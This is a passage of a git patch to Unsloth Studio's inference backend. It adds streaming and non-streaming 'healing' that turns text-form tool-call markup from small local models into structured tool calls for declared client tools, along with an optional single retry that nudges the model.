  structured call named a declared tool, so a mixed retry (hallucinated
  undeclared call plus a declared one) replaced the original and the
  caller forwarded the undeclared call, or with parallel_tool_calls
  false could keep only it. All structured retry calls must be declared.

- The Anthropic non-streaming builder still ran the legacy _TOOL_XML_RE
  strip after span-exact healing, deleting undeclared or malformed call
  text that healing deliberately preserved. The legacy strip now runs
  only when healing is off (no declared tools, or opted out), matching
  the OpenAI passthrough.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* inference: keep unpromoted Anthropic text whenever healing is active

The previous commit skipped the legacy strip only when a call was
actually promoted, so an undeclared-only (or malformed-only) response
was still silently emptied: exactly the dead-turn shape this path
exists to fix, and inconsistent with the OpenAI passthrough, which
relays those bytes verbatim. Gate the strip on healing being active
instead; opt-out and no-tools requests keep the legacy strip.

* Fix schema-aware tool healing for PR #6801

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix passthrough healing ordering for PR #6801

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix stream finish ordering for PR #6801

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
---
 .../core/inference/anthropic_compat.py        |  147 +-
 .../core/inference/passthrough_healing.py     |  535 +++++++
 studio/backend/core/tool_healing.py           |  186 +--
 studio/backend/models/inference.py            |   18 +
 studio/backend/routes/inference.py            |  666 ++++++--
 .../backend/tests/test_passthrough_healing.py | 1358 +++++++++++++++++
 .../tests/test_responses_tool_passthrough.py  |  174 +++
 .../tests/test_tool_call_parser_strict.py     |   37 +
 8 files changed, 2919 insertions(+), 202 deletions(-)
 create mode 100644 studio/backend/core/inference/passthrough_healing.py
 create mode 100644 studio/backend/tests/test_passthrough_healing.py

diff --git a/studio/backend/core/inference/anthropic_compat.py b/studio/backend/core/inference/anthropic_compat.py
index 0307336dde..7b572a28ff 100644
--- a/studio/backend/core/inference/anthropic_compat.py
+++ b/studio/backend/core/inference/anthropic_compat.py
@@ -494,6 +494,29 @@ class AnthropicPassthroughEmitter:
         self._usage: dict = {}
         self._stop_reason: str = "end_turn"
         self._stop_sequence: Optional[str] = None
+        # Optional text-form tool-call healing (client-tool passthrough only).
+        self._healer = None
+        self._healed_tool_use = False
+        self._healed_call_count = 0
+        self._heal_disable_parallel = False
+
+    def enable_healing(
+        self,
+        allowed_tools: set,
+        tools: Optional[list] = None,
+        *,
+        disable_parallel_tool_use: bool = False,
+    ) -> None:
+        """Promote text-form tool calls in streamed content to tool_use blocks.
+
+        Only calls naming a tool in ``allowed_tools`` (the client's declared
+        tools) are promoted; everything else streams as text exactly as before.
+        Never enabled for Studio's own tool loop.
+        """
+        from core.inference.passthrough_healing import StreamToolCallHealer
+
+        self._healer = StreamToolCallHealer(allowed_tools, tools)
+        self._heal_disable_parallel = disable_parallel_tool_use
 
     def start(
         self,
@@ -542,29 +565,42 @@ class AnthropicPassthroughEmitter:
         delta = choice.get("delta") or {}
         finish_reason = choice.get("finish_reason")
 
+        # ── Structured tool calls take precedence over healing ──
+        # Grammar mode worked: flush anything the healer held (it preceded the
+        # call in the model's output) and relay verbatim from here on.
+        if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant:
+            for kind, value in self._healer.structured_tool_call_seen():
+                if kind == "text" and value:
+                    events.extend(self._emit_text_delta(value))
+
         # ── Text content ──
         content = delta.get("content")
-        if content:
-            if self._current_block_type != "text":
-                if self._current_block_type is not None:
-                    events.append(self._close_current_block())
-                events.extend(self._open_text_block())
-            events.append(
-                build_anthropic_sse_event(
-                    "content_block_delta",
-                    {
-                        "type": "content_block_delta",
-                        "index": self.block_index,
-                        "delta": {"type": "text_delta", "text": content},
-                    },
-                )
-            )
+        if content and self._healer is not None and not self._healer.dormant:
+            # Route text through the healer: held/promoted portions become
+            # synthetic tool_use blocks, the rest streams as text unchanged.
+            for kind, value in self._healer.feed(content):
+                if kind == "text":
+                    events.extend(self._emit_text_delta(value))
+                else:
+                    events.extend(self._emit_healed_tool_use(value))
+        elif content:
+            events.extend(self._emit_text_delta(content))
 
         # ── Tool calls (streaming deltas) ──
         tool_calls = delta.get("tool_calls") or []
         for tc in tool_calls:
             tc_idx = tc.get("index", 0)
             fn = tc.get("function") or {}
+            if (
+                self._heal_disable_parallel
+                and tc_idx not in self._tool_call_states
+                and (self._healed_call_count + len(self._tool_call_states)) >= 1
+            ):
+                # disable_parallel_tool_use: a healed call already consumed the
+                # single allowed slot. The caller's chunk-level cap only sees
+                # native indexes, so drop this native call (and its later
+                # argument deltas, which never allocate a state either).
+                continue
             if tc_idx not in self._tool_call_states:
                 # New tool call — close prior block, open tool_use block
                 if self._current_block_type is not None:
@@ -618,6 +654,17 @@ class AnthropicPassthroughEmitter:
 
     def finish(self) -> list[str]:
         events: list[str] = []
+        if self._healer is not None:
+            # Last-chance heal of any held residue (e.g. an unclosed tool block).
+            for kind, value in self._healer.finalize():
+                if kind == "text" and value:
+                    events.extend(self._emit_text_delta(value))
+                elif kind == "tool_call":
+                    events.extend(self._emit_healed_tool_use(value))
+        if self._healed_tool_use and self._stop_reason != "max_tokens":
+            # A promoted call must stop for tool use; a truncation still wins
+            # (its arguments may be incomplete).
+            self._stop_reason = "tool_use"
         if self._current_block_type is not None:
             events.append(self._close_current_block())
         events.append(
@@ -641,6 +688,76 @@ class AnthropicPassthroughEmitter:
         )
         return events
 
+    def _emit_text_delta(self, content: str) -> list[str]:
+        events: list[str] = []
+        if self._current_block_type != "text":
+            if self._current_block_type is not None:
+                events.append(self._close_current_block())
+            events.extend(self._open_text_block())
+        events.append(
+            build_anthropic_sse_event(
+                "content_block_delta",
+                {
+                    "type": "content_block_delta",
+                    "index": self.block_index,
+                    "delta": {"type": "text_delta", "text": content},
+                },
+            )
+        )
+        return events
+
+    def _emit_healed_tool_use(self, call: dict) -> list[str]:
+        # A healed call arrives complete, so its tool_use block opens, carries
+        # one input_json_delta, and closes immediately; an open text block is
+        # closed first (only the safe prefix ever streamed into it).
+        if (
+            self._heal_disable_parallel
+            and (self._healed_call_count + len(self._tool_call_states)) >= 1
+        ):
+            # Healed and native calls share the single allowed slot.
+            return []
+        events: list[str] = []
+        if self._current_block_type is not None:
+            events.append(self._close_current_block())
+        function = call.get("function") or {}
+        tool_id = anthropic_tool_use_id("")
+        self.block_index += 1
+        self._current_block_type = "tool_use"
+        events.append(
+            build_anthropic_sse_event(
+                "content_block_start",
+                {
+                    "type": "content_block_start",
+                    "index": self.block_index,
+                    "content_block": {
+                        "type": "tool_use",
+                        "id": tool_id,
+                        "name": function.get("name", ""),
+                        "input": {},
+                    },
+                },
+            )
+        )
+        arguments = function.get("arguments") or ""
+        if arguments:
+            events.append(
+                build_anthropic_sse_event(
+                    "content_block_delta",
+                    {
+                        "type": "content_block_delta",
+                        "index": self.block_index,
+                        "delta": {
+                            "type": "input_json_delta",
+                            "partial_json": arguments,
+                        },
+                    },
+                )
+            )
+        events.append(self._close_current_block())
+        self._healed_tool_use = True
+        self._healed_call_count += 1
+        return events
+
     def _open_text_block(self) -> list[str]:
         self.block_index += 1
         self._current_block_type = "text"
diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py
new file mode 100644
index 0000000000..c73134b4a2
--- /dev/null
+++ b/studio/backend/core/inference/passthrough_healing.py
@@ -0,0 +1,535 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tool-call healing for the client-tool passthrough.
+
+With server-side tools disabled (``unsloth run --disable-tools``, every
+``unsloth start`` coding agent), requests carrying the client's own ``tools``
+bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small
+GGUF models often emit their tool calls as TEXT (``<tool_call>{...}</tool_call>``,
+Gemma ``<|tool_call>...``, ``<function=...>`` XML) instead of structured
+``tool_calls`` -- on the passthrough that text reaches the agent as prose and
+the turn dies. This module promotes such text back into structured calls on the
+RESPONSE side only: the upstream request body is never touched, no extra
+generation is issued, so llama-server slot/KV-cache reuse is byte-identical.
+
+Healing only ever fires when the request declared client tools, and only
+promotes calls whose function name exactly matches a declared tool. Promotion
+removes EXACTLY the promoted calls' markup spans (the parser reports them):
+undeclared calls, unparseable blocks, and suppressed alternate formats keep
+every byte and relay as text, so healing can never silently delete model
+output. Responses without a tool signal, requests without tools, and Studio's
+own enable-tools loop are untouched. Per-request opt-out:
+``auto_heal_tool_calls: false``. Process kill-switch:
+``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``.
+"""
+
+import json
+import os
+from collections.abc import Mapping
+from typing import Any, Optional
+
+from core.inference.tool_call_parser import TOOL_XML_SIGNALS, has_tool_signal
+from core.inference.tool_loop_controller import coerce_tool_arguments
+from core.tool_healing import parse_tool_calls_from_text
+
+# Read once at import (same convention as the other UNSLOTH_* switches).
+_HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1"
+# Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process
+# default with UNSLOTH_TOOL_CALL_NUDGE=1 (e.g. an `unsloth run` operator).
+_NUDGE_DEFAULT = os.environ.get("UNSLOTH_TOOL_CALL_NUDGE", "0") == "1"
+
+
+def nudge_enabled(request_flag: Optional[bool]) -> bool:
+    return _NUDGE_DEFAULT if request_flag is None else bool(request_flag)
+
+
+_MAX_SIGNAL_LEN = max(len(s) for s in TOOL_XML_SIGNALS)
+# A suspected-but-unclosed tool block larger than this is declared a false
+# alarm and flushed, bounding memory on a model rambling XML-lookalike text.
+_MAX_HOLD_CHARS = 64 * 1024
+
+
+def heal_gate(
+    auto_heal: Optional[bool],
+    tools: Optional[list],
+    tool_choice: Any = None,
+) -> Optional[set]:
+    """Return the declared client-tool name set when healing applies, else None.
+
+    ``tools`` is the OpenAI-shaped list forwarded to llama-server
+    (``[{"type": "function", "function": {"name": ...}}, ...]``). The name set
+    doubles as the promotion allowlist so healed calls can never invent a tool
+    the client did not declare.
+
+    ``tool_choice`` (OpenAI shape) constrains the allowlist so healing never
+    contradicts the request: ``"none"`` forbids tool calls outright (text-form
+    markup stays text), and a forced ``{"type": "function", "function":
+    {"name": N}}`` narrows promotion to that one function. ``"auto"`` /
+    ``"required"`` / absent keep the full declared set.
+    """
+    if _HEALING_DISABLED or auto_heal is False:
+        return None
+    if tool_choice == "none":
+        return None
+    names = set()
+    for tool in tools or []:
+        if not isinstance(tool, dict):
+            continue
+        function = tool.get("function")
+        if isinstance(function, dict) and isinstance(function.get("name"), str):
+            names.add(function["name"])
+    if isinstance(tool_choice, dict):
+        function = tool_choice.get("function")
+        forced = function.get("name") if isinstance(function, dict) else None
+        if isinstance(forced, str):
+            names &= {forced}
+    return names or None
+
+
+def _tool_schemas_by_name(tools: Optional[list]) -> dict[str, Any]:
+    schemas: dict[str, Any] = {}
+    for tool in tools or []:
+        if not isinstance(tool, dict):
+            continue
+        function = tool.get("function")
+        if not isinstance(function, dict):
+            continue
+        name = function.get("name")
+        if isinstance(name, str):
+            schemas[name] = function.get("parameters")
+    return schemas
+
+
+def _string_arg_key_from_schema(schema: Any) -> Optional[str]:
+    if not isinstance(schema, dict):
+        return None
+    properties = schema.get("properties")
+    required = schema.get("required")
+    if not isinstance(properties, dict) or not isinstance(required, list):
+        return None
+    required_names = [name for name in required if isinstance(name, str)]
+    if len(required_names) != 1:
+        return None
+    key = required_names[0]
+
+    if key not in properties:
+        return None
+    prop_schema = properties.get(key)
+    if isinstance(prop_schema, dict):
+        prop_type = prop_schema.get("type")
+        if isinstance(prop_type, list):
+            if "string" not in prop_type:
+                return None
+        elif prop_type is not None and prop_type != "string":
+            return None
+    return key
+
+
+def _coerce_promoted_arguments(
+    raw_args: Any, tool_name: str, tool_schemas: Optional[dict]
+) -> Optional[dict]:
+    if isinstance(raw_args, Mapping):
+        return dict(raw_args)
+    if isinstance(raw_args, str):
+        try:
+            parsed = json.loads(raw_args)
+            if isinstance(parsed, Mapping):
+                return dict(parsed)
+        except (json.JSONDecodeError, ValueError):
+            pass
+        if tool_schemas is not None:
+            key = _string_arg_key_from_schema(tool_schemas.get(tool_name))
+            return {key: raw_args} if key else None
+    coerced = coerce_tool_arguments(raw_args, heal = True, tool_name = tool_name)
+    return coerced.arguments
+
+
+def _promote(
+    calls: list,
+    allowed_tools: set,
+    id_offset: int = 0,
+    tool_schemas: Optional[dict] = None,
+) -> list:
+    """Filter parsed calls to declared tools and normalize their arguments.
+
+    Bare string arguments on the client-tool passthrough use the declared
+    schema's single required string property. If the schema is ambiguous, the
+    call stays text instead of inventing a generic key.
+    """
+    promoted = []
+    for call in calls:
+        function = call.get("function") if isinstance(call, dict) else None
+        name = function.get("name") if isinstance(function, dict) else None
+        if name not in allowed_tools:
+            continue
+        arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas)
+        if arguments is None:
+            continue
+        promoted.append(
+            {
+                "id": f"call_{id_offset + len(promoted)}",
+                "type": "function",
+                "function": {
+                    "name": name,
+                    "arguments": json.dumps(arguments, ensure_ascii = False),
+                },
+            }
+        )
+    return promoted
+
+
+def _remove_spans(text: str, spans: list) -> str:
+    """Text with the given non-overlapping, sorted (start, end) ranges removed."""
+    pieces = []
+    pos = 0
+    for start, end in spans:
+        pieces.append(text[pos:start])
+        pos = end
+    pieces.append(text[pos:])
+    return "".join(pieces)
+
+
+def heal_openai_message_events(
+    msg: dict,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> Optional[list]:
+    if not isinstance(msg, dict) or msg.get("tool_calls"):
+        return None
+    content = msg.get("content")
+    if not isinstance(content, str) or not has_tool_signal(content):
+        return None
+    parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True)
+    tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
+    events: list = []
+    pos = 0
+    call_count = 0
+    for call, (start, end) in zip(parsed, spans):
+        promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas)
+        if promoted:
+            if content[pos:start]:
+                events.append(("text", content[pos:start]))
+            events.append(("tool_call", promoted[0]))
+            call_count += 1
+        else:
+            events.append(("text", content[pos:end]))
+        pos = end
+    if not call_count:
+        return None
+    if content[pos:]:
+        events.append(("text", content[pos:]))
+    return events
+
+
+def heal_openai_message(
+    msg: dict,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> bool:
+    """Promote text-form tool calls in a non-streaming OpenAI message. In place.
+
+    No-op (returns False) unless the message has NO structured ``tool_calls``
+    (grammar mode already worked when it does) and its content carries a tool
+    signal that parses into at least one declared call. Only the promoted
+    calls' markup spans are removed from the content; undeclared calls and
+    anything the parser did not consume stay in the text byte-intact.
+    """
+    events = heal_openai_message_events(msg, allowed_tools, tools)
+    if not events:
+        return False
+    calls = [value for kind, value in events if kind == "tool_call"]
+    content = "".join(value for kind, value in events if kind == "text").strip()
+    msg["tool_calls"] = calls
+    # OpenAI requires content = null on a pure tool-call turn.
+    msg["content"] = content or None
+    return True
+
+
+def _earliest_signal(buffer: str) -> int:
+    best = -1
+    for signal in TOOL_XML_SIGNALS:
+        index = buffer.find(signal)
+        if index >= 0 and (best < 0 or index < best):
+            best = index
+    return best
+
+
+def _closed_signal_span(buffer: str) -> Optional[tuple[int, int]]:
+    spans = []
+    for open_tag, close_tag in (
+        ("<tool_call>", "</tool_call>"),
+        ("<|tool_call>", "<tool_call|>"),
+        ("<function=", "</function>"),
+    ):
+        start = buffer.find(open_tag)
+        if start < 0:
+            continue
+        end = buffer.find(close_tag, start)
+        if end >= 0:
+            spans.append((start, end + len(close_tag)))
+    return min(spans, key = lambda span: span[0]) if spans else None
+
+
+def _partial_signal_suffix(buffer: str) -> int:
+    """Length of the longest buffer suffix that is a proper prefix of a signal."""
+    for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1):
+        tail = buffer[-length:]
+        if any(signal.startswith(tail) for signal in TOOL_XML_SIGNALS):
+            return length
+    return 0
+
+
+class StreamToolCallHealer:
+    """Buffer-and-repair state machine for streamed passthrough content.
+
+    ``feed(text)`` / ``finalize()`` yield ``("text", str)`` events for content
+    to relay and ``("tool_call", dict)`` events carrying an OpenAI-shaped call
+    (string ``function.arguments``). Normal prose is forwarded immediately; only
+    a trailing partial-signal window (< max signal length) or a suspected tool
+    block is ever withheld, so streaming latency stays bounded. A false alarm
+    (the buffer can no longer become a parseable declared call) flushes the held
+    text verbatim.
+    """
+
+    def __init__(
+        self,
+        allowed_tools: set,
+        tools: Optional[list] = None,
+    ) -> None:
+        self._allowed = set(allowed_tools)
+
+        self._tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
+        self._buffer = ""
+        self._holding = False
+        self._id_offset = 0
+        # Structured delta.tool_calls seen upstream: grammar mode already
+        # worked, so healing goes dormant and text relays verbatim.
+        self.dormant = False
+
+    @property
+    def healed(self) -> bool:
+        return self._id_offset > 0
+
+    def structured_tool_call_seen(self) -> list:
+        """Go dormant; flush anything held so no text is swallowed."""
+        self.dormant = True
+        held, self._buffer, self._holding = self._buffer, "", False
+        return [("text", held)] if held else []
+
+    def feed(self, text: str) -> list:
+        if self.dormant:
+            return [("text", text)] if text else []
+        self._buffer += text
+        return self._drain()
+
+    def _drain(self) -> list:
+        events: list = []
+        while True:
+            if not self._holding:
+                start = _earliest_signal(self._buffer)
+                if start >= 0:
+                    if start:
+                        events.append(("text", self._buffer[:start]))
+                    self._buffer = self._buffer[start:]
+                    self._holding = True
+                else:
+                    keep = _partial_signal_suffix(self._buffer)
+                    emit = self._buffer[: len(self._buffer) - keep]
+                    if emit:
+                        events.append(("text", emit))
+                    self._buffer = self._buffer[len(self._buffer) - keep :]
+                    return events
+            # HOLD: handle the FIRST complete block per pass so events keep
+            # document order (a later declared call must not overtake an
+            # earlier undeclared one flushing as text).
+            parsed, spans = parse_tool_calls_from_text(
+                self._buffer,
+                id_offset = self._id_offset,
+                allow_incomplete = False,
+                with_spans = True,
+            )
+            if not parsed:
+                closed_span = _closed_signal_span(self._buffer)
+                if closed_span:
+                    _start, end = closed_span
+                    events.append(("text", self._buffer[:end]))
+                    self._buffer = self._buffer[end:]
+                    self._holding = False
+                    continue
+                if len(self._buffer) > _MAX_HOLD_CHARS:
+                    events.append(("text", self._buffer))
+                    self._buffer = ""
+                    self._holding = False
+                    continue
+                return events
+            start, end = spans[0]
+            promoted = _promote(
+                [parsed[0]],
+                self._allowed,
+                id_offset = self._id_offset,
+                tool_schemas = self._tool_schemas,
+            )
+            if promoted:
+                if start:
+                    events.append(("text", self._buffer[:start]))
+                events.append(("tool_call", promoted[0]))
+                self._id_offset += 1
+                # Drop exactly the promoted markup span; everything else
+                # (leading text, later blocks) stays and is rescanned.
+                self._buffer = self._buffer[end:]
+            else:
+                # Undeclared or unusable name: its markup is DATA, flush it
+                # (and anything before it) verbatim, then rescan the rest.
+                events.append(("text", self._buffer[:end]))
+                self._buffer = self._buffer[end:]
+            self._holding = False
+
+    def finalize(self) -> list:
+        """End of stream: last-chance heal of the residue, else flush it.
+
+        Events keep document order; only the promoted calls' markup spans are
+        dropped, every other residue byte flushes as text.
+        """
+        if not self._buffer:
+            return []
+        residue, self._buffer = self._buffer, ""
+        holding, self._holding = self._holding, False
+        if self.dormant or not holding:
+            return [("text", residue)]
+        parsed, spans = parse_tool_calls_from_text(
+            residue,
+            id_offset = self._id_offset,
+            allow_incomplete = True,
+            with_spans = True,
+        )
+        events: list = []
+        pos = 0
+        any_promoted = False
+        for call, (start, end) in zip(parsed, spans):
+            promoted = _promote(
+                [call],
+                self._allowed,
+                id_offset = self._id_offset,
+                tool_schemas = self._tool_schemas,
+            )
+            if promoted:
+                if residue[pos:start]:
+                    events.append(("text", residue[pos:start]))
+                events.append(("tool_call", promoted[0]))
+                self._id_offset += 1
+                any_promoted = True
+            else:
+                events.append(("text", residue[pos:end]))
+            pos = end
+        if not any_promoted:
+            return [("text", residue)]
+        tail = residue[pos:].strip()
+        if tail:
+            events.append(("text", tail))
+        return events
+
+
+def _first_choice_message(data: Any) -> Optional[dict]:
+    """First-choice message dict of a non-streaming chat response, else None.
+
+    Upstream error bodies can carry ``"message": null`` (or no choices at all),
+    so never assume the shape: a non-dict message means "nothing to heal".
+    """
+    try:
+        message = data["choices"][0]["message"]
+    except (KeyError, IndexError, TypeError):
+        return None
+    return message if isinstance(message, dict) else None
+
+
+def _last_assistant_text(data: Any) -> str:
+    """First-choice assistant content of a non-streaming chat response, or ''."""
+    message = _first_choice_message(data)
+    content = message.get("content") if message else None
+    return content if isinstance(content, str) else ""
+
+
+def _heal_would_promote(
+    text: str,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> bool:
+    """Whether ``heal_openai_message`` would promote at least one call."""
+    parsed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
+    return bool(_promote(parsed, allowed_tools, tool_schemas = tool_schemas))
+
+
+def response_has_promotable_calls(
+    data: Any,
+    allowed_tools: set,
+    tools: Optional[list] = None,
+) -> bool:
+    """True when a non-streaming chat response carries a usable tool call
+    (structured naming a DECLARED tool, or text-form that healing would
+    promote). Used to decide whether a nudge retry actually improved on the
+    original response; a hallucinated undeclared call is not an improvement."""
+    message = _first_choice_message(data)
+    if not message:
+        return False
+    tool_calls = message.get("tool_calls")
+    if tool_calls:
+        # ALL structured calls must be declared: the caller forwards the whole
+        # list (and a parallel cap could keep only the FIRST one), so a mixed
+        # response with a single hallucinated name could still hand the client
+        # an undeclared tool.
+        return all(
+            isinstance(tc, dict)
+            and isinstance(tc.get("function"), dict)
+            and tc["function"].get("name") in allowed_tools
+            for tc in tool_calls
+        )
+    text = message.get("content")
+    if not isinstance(text, str):
+        return False
+    return _heal_would_promote(text, allowed_tools, tools)
+
+
+def nudge_should_retry(
+    data: Any,
+    allowed_tools: Optional[set],
+    tools: Optional[list] = None,
+) -> bool:
+    """True when the first response tried to call a tool but nothing healed.
+
+    Trigger only on: healing enabled (allowed_tools set), zero structured
+    calls, a tool signal present in the text, and zero promotable calls -- the
+    exact failure a single re-ask can fix. Clean prose never retries.
+    """
+    if not allowed_tools:
+        return False
+    message = _first_choice_message(data)
+    if not message or message.get("tool_calls"):
+        return False
+    text = message.get("content")
+    if not isinstance(text, str) or not has_tool_signal(text):
+        return False
+    return not _heal_would_promote(text, allowed_tools, tools)
+
+
+def nudge_messages(data: Any, allowed_tools: set) -> list:
+    """The two-message suffix appended for the single nudge retry.
+
+    The retry body is the original body plus this suffix, so the prompt prefix
+    is byte-identical and llama-server's slot/prefix cache is reused (same
+    shape as the enable-tools loop's reprompt).
+    """
+    tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool"
+    return [
+        {"role": "assistant", "content": _last_assistant_text(data)},
+        {
+            "role": "user",
+            "content": (
+                "You have access to the declared tools. If a tool is needed to "
+                f"complete the action you described, call {tool_hint} now using the "
+                "native tool-call format with valid JSON arguments, not prose. If no "
+                "tool is needed, provide the final answer directly."
+            ),
+        },
+    ]
diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py
index fe26d48c7f..e8367ad08c 100644
--- a/studio/backend/core/tool_healing.py
+++ b/studio/backend/core/tool_healing.py
@@ -301,28 +301,28 @@ def parse_tool_calls_from_text(
     *,
     id_offset: int = 0,
     allow_incomplete: bool = True,
-) -> list[dict]:
+    with_spans: bool = False,
+):
     """Parse OpenAI-format tool calls from model text.
 
     Handles formats like:
       <tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>
       <|tool_call>call:web_search{query:"..."}<tool_call|>
       <tool_call><function=web_search><parameter=query>...</parameter></function></tool_call>
+
+    With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]``
+    is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup
+    in ``content`` (including its close tag when present), so a caller can
+    remove exactly the parsed markup and keep every other byte intact.
     """
     tool_calls: list[dict] = []
-    # Collect JSON- and Gemma-format candidates with their byte spans, then
-    # accept them in document order. Both order and spans matter:
-    #   * tools execute in returned order, so a call appearing earlier in the
-    #     text must be emitted first even across the two formats;
-    #   * a tool-call marker INSIDE another call's argument string is data, not a
-    #     call, so a candidate starting within an already accepted span is
-    #     skipped (covers a JSON marker nested in a Gemma arg and a Gemma marker
-    #     nested in a JSON arg alike, regardless of which format is outer).
+    call_spans: list[tuple] = []
+    # Collect every supported call format with spans, then emit in document
+    # order. A marker inside another call's argument string is data, not a
+    # separate executable call.
+    parsed_items = []  # (start, span_end, name, arguments)
     candidates = []  # (start, brace_end, kind, match)
     for m in _TC_JSON_START_RE.finditer(content):
-        # A marker that begins inside an open <function=...><parameter=...> value
-        # is that parameter's data, not its own call; skip it (same guard the
-        # XML-style parser below applies to nested <function= markers).
         if _inside_open_parameter(content, m.start()):
             continue
         end = _balanced_brace_end(content, m.end() - 1)
@@ -336,14 +336,9 @@ def parse_tool_calls_from_text(
             candidates.append((m.start(), end, "gemma", m))
     candidates.sort(key = lambda c: c[0])
 
-    spans = [(s, e) for s, e, _kind, _m in candidates]
+    candidate_spans = [(s, e) for s, e, _kind, _m in candidates]
     for idx, (start, end, kind, m) in enumerate(candidates):
-        # Skip a candidate nested inside another candidate's brace span: it is
-        # the enclosing call's argument data, not its own call. Checked against
-        # every candidate span (not only the ones that parsed successfully), so a
-        # marker inside an outer call that later fails to normalize is still
-        # never promoted to its own executable tool call.
-        if any(s <= start and end <= e for j, (s, e) in enumerate(spans) if j != idx):
+        if any(s <= start and end <= e for j, (s, e) in enumerate(candidate_spans) if j != idx):
             continue
         if not allow_incomplete:
             tail = content[end + 1 :].lstrip()
@@ -362,6 +357,85 @@ def parse_tool_calls_from_text(
                 arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : end]))
         except (json.JSONDecodeError, ValueError):
             continue
+        span_end = end + 1
+        close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
+        ws = len(content[span_end:]) - len(content[span_end:].lstrip())
+        close_m = close_re.match(content, span_end + ws)
+        if close_m:
+            span_end = close_m.end()
+        parsed_items.append((start, span_end, name, arguments))
+
+    func_starts = [
+        fm
+        for fm in _TC_FUNC_START_RE.finditer(content)
+        if not _inside_open_parameter(content, fm.start())
+        and not any(s <= fm.start() <= e for s, e in candidate_spans)
+    ]
+    for idx, fm in enumerate(func_starts):
+        func_name = fm.group(1)
+        body_start = fm.end()
+        next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
+        end_tag = _TC_END_TAG_RE.search(content[body_start:])
+        if end_tag:
+            body_end = body_start + end_tag.start()
+        else:
+            body_end = len(content)
+        body_end = min(body_end, next_func)
+        body = content[body_start:body_end]
+        close_idx = body.rfind(_FUNC_CLOSE_TAG)
+        if close_idx >= 0:
+            span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
+            body = body[:close_idx]
+        elif not allow_incomplete:
+            continue
+        else:
+            body = _TC_FUNC_CLOSE_RE.sub("", body)
+            span_end = body_end
+
+        arguments: dict = {}
+        param_starts = list(_TC_PARAM_START_RE.finditer(body))
+        if len(param_starts) == 1:
+            pm = param_starts[0]
+            val = body[pm.end() :]
+            if not allow_incomplete:
+                stripped_val = val.rstrip()
+                if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                    continue
+                val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
+            else:
+                val = _TC_PARAM_CLOSE_RE.sub("", val)
+            arguments[pm.group(1)] = val.strip()
+        else:
+            valid_params = True
+            for pidx, pm in enumerate(param_starts):
+                param_name = pm.group(1)
+                val_start = pm.end()
+                next_param = (
+                    param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body)
+                )
+                val = body[val_start:next_param]
+                if not allow_incomplete:
+                    stripped_val = val.rstrip()
+                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                        valid_params = False
+                        break
+                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
+                else:
+                    val = _TC_PARAM_CLOSE_RE.sub("", val)
+                arguments[param_name] = val.strip()
+            if not valid_params:
+                continue
+
+        span_start = fm.start()
+        wrap_open = re.search(r"<tool_call>\s*$", content[:span_start])
+        wrap_close = re.match(r"\s*</tool_call>", content[span_end:])
+        if wrap_open and wrap_close:
+            span_start = wrap_open.start()
+            span_end += wrap_close.end()
+        parsed_items.append((span_start, span_end, func_name, json.dumps(arguments)))
+
+    parsed_items.sort(key = lambda item: item[0])
+    for start, span_end, name, arguments in parsed_items:
         tool_calls.append(
             {
                 "id": f"call_{id_offset + len(tool_calls)}",
@@ -369,77 +443,9 @@ def parse_tool_calls_from_text(
                 "function": {"name": name, "arguments": arguments},
             }
         )
-
-    if not tool_calls:
-        func_starts = [
-            fm
-            for fm in _TC_FUNC_START_RE.finditer(content)
-            if not _inside_open_parameter(content, fm.start())
-        ]
-        for idx, fm in enumerate(func_starts):
-            func_name = fm.group(1)
-            body_start = fm.end()
-            next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
-            end_tag = _TC_END_TAG_RE.search(content[body_start:])
-            if end_tag:
-                body_end = body_start + end_tag.start()
-            else:
-                body_end = len(content)
-            body_end = min(body_end, next_func)
-            body = content[body_start:body_end]
-            if not allow_incomplete:
-                close_idx = body.rfind(_FUNC_CLOSE_TAG)
-                if close_idx < 0:
-                    continue
-                body = body[:close_idx]
-            else:
